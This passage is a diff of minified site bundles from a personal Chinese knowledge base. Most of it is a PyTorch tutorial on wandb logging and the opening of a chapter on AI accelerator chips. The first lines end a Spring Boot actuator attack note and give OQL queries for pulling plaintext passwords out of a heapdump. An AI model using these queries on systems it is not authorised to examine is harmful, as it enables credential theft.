'http://127.0.0.1:8080/actuator/refresh'\n"})}),"\n",(0,s.jsxs)(e.h4,{id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u56db\u6682\u672a\u590d\u73b0",children:["\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u56db)",(0,s.jsx)(e.del,{children:"\uff08\u6682\u672a\u590d\u73b0\uff09"})]}),"\n",(0,s.jsx)(e.p,{children:"\u6761\u4ef6"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.code,{children:"heapdump"})}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:["\u53c2\u8003 ",(0,s.jsx)(e.a,{href:"https://landgrey.me/blog/16/",children:"\u6587\u7ae0"})," \u65b9\u6cd5\uff0c\u4f7f\u7528 ",(0,s.jsx)(e.a,{href:"https://www.eclipse.org/mat/downloads.php",children:"Eclipse Memory Analyzer"})," \u5de5\u5177\u7684 ",(0,s.jsx)(e.strong,{children:"OQL"})," \u8bed\u53e5"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{children:'select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))\nselect * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))\n'})}),"\n",(0,s.jsxs)(e.p,{children:["\u8f85\u52a9\u7528 ",(0,s.jsx)(e.code,{children:"password"})," \u7b49\u5173\u952e\u8bcd\u5feb\u901f\u8fc7\u6ee4\u5206\u6790\uff0c\u83b7\u5f97\u5bc6\u7801\u7b49\u76f8\u5173\u654f\u611f\u4fe1\u606f\u7684\u660e\u6587\u3002"]})]})}function h(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(a,{...n})}):a(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/18da5132.d912a7a0.js b/en/assets/js/18da5132.d912a7a0.js new file mode 100644 index 0000000..95fd508 --- /dev/null +++ b/en/assets/js/18da5132.d912a7a0.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[708],{28453:(n,e,t)=>{t.d(e,{R:()=>d,x:()=>i});var a=t(96540);const s={},r=a.createContext(s);function d(n){const e=a.useContext(r);return a.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function i(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:d(n.components),a.createElement(r.Provider,{value:e},n.children)}},41941:(n,e,t)=>{t.d(e,{A:()=>a});const a=t.p+"assets/images/acc_wandb-f7d79bc4f8a19288783a8fed7e6ac001.png"},80910:(n,e,t)=>{t.d(e,{A:()=>a});const a=t.p+"assets/images/wandb_config-072adbf91f5f358b9124cfc382cf68b3.png"},85471:(n,e,t)=>{t.d(e,{A:()=>a});const a=t.p+"assets/images/wandb_api_keys-655593f49a7a94e044af754faab2009f.png"},85817:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>o,contentTitle:()=>i,default:()=>h,frontMatter:()=>d,metadata:()=>a,toc:()=>c});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","title":"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/07.\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"},"next":{"title":"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}}');var s=t(74848),r=t(28453);const d={},i="7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md",o={},c=[{value:"7.4.1 wandb\u7684\u5b89\u88c5",id:"741-wandb\u7684\u5b89\u88c5",level:2},{value:"7.4.2 wandb\u7684\u4f7f\u7528",id:"742-wandb\u7684\u4f7f\u7528",level:2},{value:"7.4.3 demo\u6f14\u793a",id:"743-demo\u6f14\u793a",level:2}];function l(n){const e={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"74-\u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0bmd",children:"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:26"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(e.h1,{id:"74-\u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b",children:"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,s.jsx)(e.p,{children:"\u5728\u4e0a\u4e00\u8282\u4e2d\uff0c\u6211\u4eec\u4f7f\u7528\u4e86Tensorboard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\uff0c\u4f46\u662fTensorboard\u5bf9\u6570\u636e\u7684\u4fdd\u5b58\u4ec5\u9650\u4e8e\u672c\u5730\uff0c\u4e5f\u5f88\u96be\u5206\u6790\u8d85\u53c2\u6570\u4e0d\u540c\u5bf9\u5b9e\u9a8c\u7684\u5f71\u54cd\u3002wandb\u7684\u51fa\u73b0\u5f88\u597d\u7684\u89e3\u51b3\u4e86\u8fd9\u4e9b\u95ee\u9898\uff0c\u56e0\u6b64\u5728\u672c\u7ae0\u8282\u4e2d\uff0c\u6211\u4eec\u5c06\u5bf9wandb\u8fdb\u884c\u7b80\u8981\u4ecb\u7ecd\u3002\nwandb\u662fWeights & Biases\u7684\u7f29\u5199\uff0c\u5b83\u80fd\u591f\u81ea\u52a8\u8bb0\u5f55\u6a21\u578b\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u7684\u8d85\u53c2\u6570\u548c\u8f93\u51fa\u6307\u6807\uff0c\u7136\u540e\u53ef\u89c6\u5316\u548c\u6bd4\u8f83\u7ed3\u679c\uff0c\u5e76\u5feb\u901f\u4e0e\u5176\u4ed6\u4eba\u5171\u4eab\u7ed3\u679c\u3002\u76ee\u524d\u5b83\u80fd\u591f\u548cJupyter\u3001TensorFlow\u3001Pytorch\u3001Keras\u3001Scikit\u3001fast.ai\u3001LightGBM\u3001XGBoost\u4e00\u8d77\u7ed3\u5408\u4f7f\u7528\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"wandb\u7684\u5b89\u88c5"}),"\n",(0,s.jsx)(e.li,{children:"wandb\u7684\u4f7f\u7528"}),"\n",(0,s.jsx)(e.li,{children:"demo\u6f14\u793a"}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"741-wandb\u7684\u5b89\u88c5",children:"7.4.1 wandb\u7684\u5b89\u88c5"}),"\n",(0,s.jsx)(e.p,{children:"wandb\u7684\u5b89\u88c5\u975e\u5e38\u7b80\u5355\uff0c\u6211\u4eec\u53ea\u9700\u8981\u4f7f\u7528pip\u5b89\u88c5\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"pip install wandb\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5b89\u88c5\u5b8c\u6210\u540e\uff0c\u6211\u4eec\u9700\u8981\u5728",(0,s.jsx)(e.a,{href:"https://wandb.ai/",children:"\u5b98\u7f51"}),"\u6ce8\u518c\u4e00\u4e2a\u8d26\u53f7\u5e76\u590d\u5236\u4e0b\u81ea\u5df1\u7684API keys\uff0c\u7136\u540e\u5728\u672c\u5730\u4f7f\u7528\u4e0b\u9762\u7684\u547d\u4ee4\u767b\u5f55\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"wandb login\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u8fd9\u65f6\uff0c\u6211\u4eec\u4f1a\u770b\u5230\u4e0b\u9762\u7684\u754c\u9762\uff0c\u53ea\u9700\u8981\u7c98\u8d34\u4f60\u7684API keys\u5373\u53ef\u3002\n",(0,s.jsx)(e.img,{src:t(85471).A+"",width:"1248",height:"75"})]}),"\n",(0,s.jsx)(e.h2,{id:"742-wandb\u7684\u4f7f\u7528",children:"7.4.2 wandb\u7684\u4f7f\u7528"}),"\n",(0,s.jsx)(e.p,{children:"wandb\u7684\u4f7f\u7528\u4e5f\u975e\u5e38\u7b80\u5355\uff0c\u53ea\u9700\u8981\u5728\u4ee3\u7801\u4e2d\u6dfb\u52a0\u51e0\u884c\u4ee3\u7801\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"import wandb\nwandb.init(project='my-project', entity='my-name')\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u8fd9\u91cc\u7684project\u548centity\u662f\u4f60\u5728wandb\u4e0a\u521b\u5efa\u7684\u9879\u76ee\u540d\u79f0\u548c\u7528\u6237\u540d\uff0c\u5982\u679c\u4f60\u8fd8\u6ca1\u6709\u521b\u5efa\u9879\u76ee\uff0c\u53ef\u4ee5\u53c2\u8003",(0,s.jsx)(e.a,{href:"https://docs.wandb.ai/quickstart",children:"\u5b98\u65b9\u6587\u6863"}),"\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"743-demo\u6f14\u793a",children:"7.4.3 demo\u6f14\u793a"}),"\n",(0,s.jsx)(e.p,{children:"\u4e0b\u9762\u6211\u4eec\u4f7f\u7528\u4e00\u4e2aCIFAR10\u7684\u56fe\u50cf\u5206\u7c7bdemo\u6765\u6f14\u793awandb\u7684\u4f7f\u7528\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"\nimport random # to set the python random seed\nimport numpy # to set the numpy random seed\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nfrom torch.utils.data import DataLoader\nfrom torchvision.models import resnet18\nimport warnings\nwarnings.filterwarnings('ignore')\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u4f7f\u7528wandb\u7684\u7b2c\u4e00\u6b65\u662f\u521d\u59cb\u5316wandb\uff0c\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528wandb.init()\u51fd\u6570\u6765\u521d\u59cb\u5316wandb\uff0c\u5176\u4e2dproject\u662f\u4f60\u5728wandb\u4e0a\u521b\u5efa\u7684\u9879\u76ee\u540d\u79f0\uff0cname\u662f\u4f60\u7684\u5b9e\u9a8c\u540d\u79f0\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:'# \u521d\u59cb\u5316wandb\nimport wandb\nwandb.init(project="thorough-pytorch",\n name="wandb_demo",)\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u4f7f\u7528wandb\u7684\u7b2c\u4e8c\u6b65\u662f\u8bbe\u7f6e\u8d85\u53c2\u6570\uff0c\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528wandb.config\u6765\u8bbe\u7f6e\u8d85\u53c2\u6570\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u5728wandb\u7684\u754c\u9762\u4e0a\u770b\u5230\u8d85\u53c2\u6570\u7684\u53d8\u5316\u3002wandb.config\u7684\u4f7f\u7528\u65b9\u6cd5\u548c\u5b57\u5178\u7c7b\u4f3c\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528config.key\u7684\u65b9\u5f0f\u6765\u8bbe\u7f6e\u8d85\u53c2\u6570\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"# \u8d85\u53c2\u6570\u8bbe\u7f6e\nconfig = wandb.config # config\u7684\u521d\u59cb\u5316\nconfig.batch_size = 64 \nconfig.test_batch_size = 10 \nconfig.epochs = 5 \nconfig.lr = 0.01 \nconfig.momentum = 0.1 \nconfig.use_cuda = True \nconfig.seed = 2043 \nconfig.log_interval = 10 \n\n# \u8bbe\u7f6e\u968f\u673a\u6570\ndef set_seed(seed):\n random.seed(config.seed) \n torch.manual_seed(config.seed) \n numpy.random.seed(config.seed) \n\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u7b2c\u4e09\u6b65\u662f\u6784\u5efa\u8bad\u7ec3\u548c\u6d4b\u8bd5\u7684pipeline\uff0c\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528pytorch\u7684CIFAR10\u6570\u636e\u96c6\u548cresnet18\u6765\u6784\u5efa\u8bad\u7ec3\u548c\u6d4b\u8bd5\u7684pipeline\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-python",children:"def train(model, device, train_loader, optimizer):\n model.train()\n\n for batch_id, (data, target) in enumerate(train_loader):\n data, target = data.to(device), target.to(device)\n optimizer.zero_grad()\n output = model(data)\n criterion = nn.CrossEntropyLoss()\n loss = criterion(output, target)\n loss.backward()\n optimizer.step()\n\n# wandb.log\u7528\u6765\u8bb0\u5f55\u4e00\u4e9b\u65e5\u5fd7(accuracy,loss and epoch), \u4fbf\u4e8e\u968f\u65f6\u67e5\u770b\u7f51\u8def\u7684\u6027\u80fd\ndef test(model, device, test_loader, classes):\n model.eval()\n test_loss = 0\n correct = 0\n example_images = []\n\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n criterion = nn.CrossEntropyLoss()\n test_loss += criterion(output, target).item()\n pred = output.max(1, keepdim=True)[1]\n correct += pred.eq(target.view_as(pred)).sum().item()\n example_images.append(wandb.Image(\n data[0], caption=\"Pred:{} Truth:{}\".format(classes[pred[0].item()], classes[target[0]])))\n\n # \u4f7f\u7528wandb.log \u8bb0\u5f55\u4f60\u60f3\u8bb0\u5f55\u7684\u6307\u6807\n wandb.log({\n \"Examples\": example_images,\n \"Test Accuracy\": 100. * correct / len(test_loader.dataset),\n \"Test Loss\": test_loss\n })\n\nwandb.watch_called = False \n\n\ndef main():\n use_cuda = config.use_cuda and torch.cuda.is_available()\n device = torch.device(\"cuda:0\" if use_cuda else \"cpu\")\n kwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}\n\n # \u8bbe\u7f6e\u968f\u673a\u6570\n set_seed(config.seed)\n torch.backends.cudnn.deterministic = True\n\n # \u6570\u636e\u9884\u5904\u7406\n transform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n ])\n\n # \u52a0\u8f7d\u6570\u636e\n train_loader = DataLoader(datasets.CIFAR10(\n root='dataset',\n train=True,\n download=True,\n transform=transform\n ), batch_size=config.batch_size, shuffle=True, **kwargs)\n\n test_loader = DataLoader(datasets.CIFAR10(\n root='dataset',\n train=False,\n download=True,\n transform=transform\n ), batch_size=config.batch_size, shuffle=False, **kwargs)\n\n classes = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck')\n\n model = resnet18(pretrained=True).to(device)\n optimizer = optim.SGD(model.parameters(), lr=config.lr, momentum=config.momentum)\n\n wandb.watch(model, log=\"all\")\n for epoch in range(1, config.epochs + 1):\n train(model, device, train_loader, optimizer)\n test(model, device, test_loader, classes)\n\n # \u672c\u5730\u548c\u4e91\u7aef\u6a21\u578b\u4fdd\u5b58\n torch.save(model.state_dict(), 'model.pth')\n wandb.save('model.pth')\n\n\nif __name__ == '__main__':\n main()\n\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5f53\u6211\u4eec\u8fd0\u884c\u5b8c\u4e0a\u9762\u7684\u4ee3\u7801\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u5728wandb\u7684\u754c\u9762\u4e0a\u770b\u5230\u6211\u4eec\u7684\u8bad\u7ec3\u7ed3\u679c\u4e86\u548c\u7cfb\u7edf\u7684\u6027\u80fd\u6307\u6807\u3002\u540c\u65f6\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u5728setting\u91cc\u9762\u8bbe\u7f6e\u8bad\u7ec3\u5b8c\u7ed9\u6211\u4eec\u53d1\u9001\u90ae\u4ef6\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u8bad\u7ec3\u5b8c\u4e4b\u540e\u53ca\u65f6\u7684\u67e5\u770b\u8bad\u7ec3\u7ed3\u679c\u4e86\u3002\n",(0,s.jsx)(e.img,{src:t(41941).A+"",width:"1305",height:"559"}),"\n",(0,s.jsx)(e.img,{src:t(97385).A+"",width:"1922",height:"1097"}),"\n",(0,s.jsx)(e.img,{src:t(80910).A+"",width:"958",height:"711"})]}),"\n",(0,s.jsx)(e.p,{children:"\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u4f7f\u7528wandb\u53ef\u4ee5\u5f88\u65b9\u4fbf\u7684\u8bb0\u5f55\u6211\u4eec\u7684\u8bad\u7ec3\u7ed3\u679c\uff0c\u9664\u6b64\u4e4b\u5916\uff0cwandb\u8fd8\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u5f88\u591a\u7684\u529f\u80fd\uff0c\u6bd4\u5982\uff1a\u6a21\u578b\u7684\u8d85\u53c2\u6570\u641c\u7d22\uff0c\u6a21\u578b\u7684\u7248\u672c\u63a7\u5236\uff0c\u6a21\u578b\u7684\u90e8\u7f72\u7b49\u7b49\u3002\u8fd9\u4e9b\u529f\u80fd\u90fd\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u66f4\u597d\u7684\u7ba1\u7406\u6211\u4eec\u7684\u6a21\u578b\uff0c\u66f4\u597d\u7684\u8fdb\u884c\u6a21\u578b\u7684\u8fed\u4ee3\u548c\u4f18\u5316\u3002\u8fd9\u4e9b\u529f\u80fd\u6211\u4eec\u5728\u540e\u9762\u7684\u66f4\u65b0\u4e2d\u4f1a\u8fdb\u884c\u4ecb\u7ecd\u3002"})]})}function h(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(l,{...n})}):l(n)}},97385:(n,e,t)=>{t.d(e,{A:()=>a});const a=t.p+"assets/images/wandb_sys-f5a137c31b65bf0c6c2883a244382f5e.png"}}]); \ No newline at end of file diff --git a/en/assets/js/19f81a48.19f16a54.js b/en/assets/js/19f81a48.19f16a54.js new file mode 100644 index 0000000..8d04334 --- /dev/null +++ b/en/assets/js/19f81a48.19f16a54.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3517],{281:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/shidiannao2-d183677196b2de0894c88a6b8e21e997.jpg"},840:(n,e,i)=>{i.d(e,{A:()=>s});const s=i.p+"assets/images/CPU&NPU-02dff11a75273a4be8d701a914e24a19.png"},2036:(n,e,i)=>{i.r(e),i.d(e,{assets:()=>l,contentTitle:()=>c,default:()=>o,frontMatter:()=>t,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907","title":"2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb"},"next":{"title":"\u7b2c\u4e09\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/"}}');var r=i(74848),a=i(28453);const t={},c="2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md",l={},d=[{value:"2.4.1 TPU",id:"241-tpu",level:2},{value:"\u82af\u7247\u67b6\u6784\u8bbe\u8ba1",id:"\u82af\u7247\u67b6\u6784\u8bbe\u8ba1",level:3},{value:"\u6280\u672f\u7279\u70b9",id:"\u6280\u672f\u7279\u70b9",level:3},{value:"AI\u52a0\u901f\u4e13\u7528",id:"ai\u52a0\u901f\u4e13\u7528",level:4},{value:"\u8109\u52a8\u9635\u5217\u8bbe\u8ba1",id:"\u8109\u52a8\u9635\u5217\u8bbe\u8ba1",level:4},{value:"\u786e\u5b9a\u6027\u529f\u80fd\u548c\u5927\u89c4\u6a21\u7247\u4e0a\u5185\u5b58",id:"\u786e\u5b9a\u6027\u529f\u80fd\u548c\u5927\u89c4\u6a21\u7247\u4e0a\u5185\u5b58",level:4},{value:"2.4.2 NPU",id:"242-npu",level:2},{value:"DianNao",id:"diannao",level:3},{value:"DaDianNao",id:"dadiannao",level:3},{value:"ShiDianNao",id:"shidiannao",level:3},{value:"PuDianNao",id:"pudiannao",level:3},{value:"\u53c2\u8003\u8d44\u6599\uff1a",id:"\u53c2\u8003\u8d44\u6599",level:2}];function h(n){const e={a:"a",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"24-ai\u786c\u4ef6\u52a0\u901f\u8bbe\u5907md",children:"2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"ai\u786c\u4ef6\u52a0\u901f\u8bbe\u5907",children:"AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u8fdb\u884c\u6a21\u578b\u90e8\u7f72\u548c\u8bad\u7ec3\u65f6\uff0c\u6211\u4eec\u6709\u65f6\u4f1a\u53d7\u9650\u4e8eCPU\u548cGPU\u7684\u6027\u80fd\u3002\u8fd9\u65f6\uff0c\u4e13\u7528\u7684AI\u82af\u7247\u5c31\u663e\u5f97\u5c24\u4e3a\u91cd\u8981\u3002\u5728\u6b63\u5f0f\u5f00\u59cb\u672c\u8282\u5185\u5bb9\u4e4b\u524d\uff0c\u6211\u4eec\u5148\u4e86\u89e3\u4e00\u4e0b\u4ec0\u4e48\u662fCPU\u548cGPU\u3002"}),"\n",(0,r.jsx)(e.p,{children:"CPU\u5373Central Processing 